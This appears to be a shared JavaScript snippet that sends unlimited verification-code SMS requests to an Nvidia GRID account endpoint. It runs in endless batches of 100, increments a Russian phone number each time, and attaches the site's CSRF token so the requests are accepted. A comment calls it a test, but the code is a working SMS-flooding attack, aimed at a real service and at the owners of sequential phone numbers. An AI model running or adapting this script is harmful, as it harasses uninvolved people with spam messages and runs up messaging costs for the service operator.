This is a snippet, which is capable to cause sending of potentially unlimited number of sms containing verification codes through Nvidia grid sms gateway

Nvidia - noisy sms flow

/*
 * This is a noisy scenario, which tests sms gateway api,
 * when user is trying to get a verification code on his / her
 * smartphone
 */

(function() {
  'use strict';

  /*
   * The phone number is set for the Russia
   * See all country codes here: https://countrycode.org
   */ 

  var basePhone = 9111978913;

  var baseCountryCode = 7;

  var batchSize = 100;

  var smsUrl = 'https://vmware.nvidiagrid.net/accounts/sendPincode/';

  function getXhr(method, url, withCred) {
    var xhr = new XMLHttpRequest();

    xhr.open(method, url);

    if (withCred) {
      xhr.withCredentials = true;
    }

    xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded; charset=UTF-8');

    xhr.setRequestHeader('X-Requested-With', 'XMLHttpRequest');

    xhr.setRequestHeader('X-CSRFToken', getCookie('csrftoken'));

    return xhr;
  }

  function makeSms() {
    return new Promise((res, rej) => {
      var d = new Date();

      var xhr = getXhr('POST', smsUrl);

      var formData = {
        countryCode: baseCountryCode,

        token: '',

        offerKey: '',

        phone: basePhone++
      };

      xhr.onload = function() {     
        var response = JSON.parse(this.responseText);

        console.log('Sms response: ', response);

        res();
      };

      xhr.onerror = () => {
        rej();
      };

      var reqData = Object.keys(formData).map(key => `${key}=${formData[key]}`).join('&');

      xhr.send(reqData);
    });
  }

  function makeBatch() {
    var promises = [];

    for (var i = 0; i < batchSize; i++) {
      promises.push(makeSms());
    }

    Promise.all(promises).then(makeBatch);
  }

  function makeRequest() {
    makeSms().then(() => {
      setTimeout(makeRequest);
    });
  }

  /*
   * If you want to have a sequential chain
   * of requests, uncomment the line bellow
   */ 

  // makeRequest();

  // Otherwise use batch mode

  makeBatch();
})();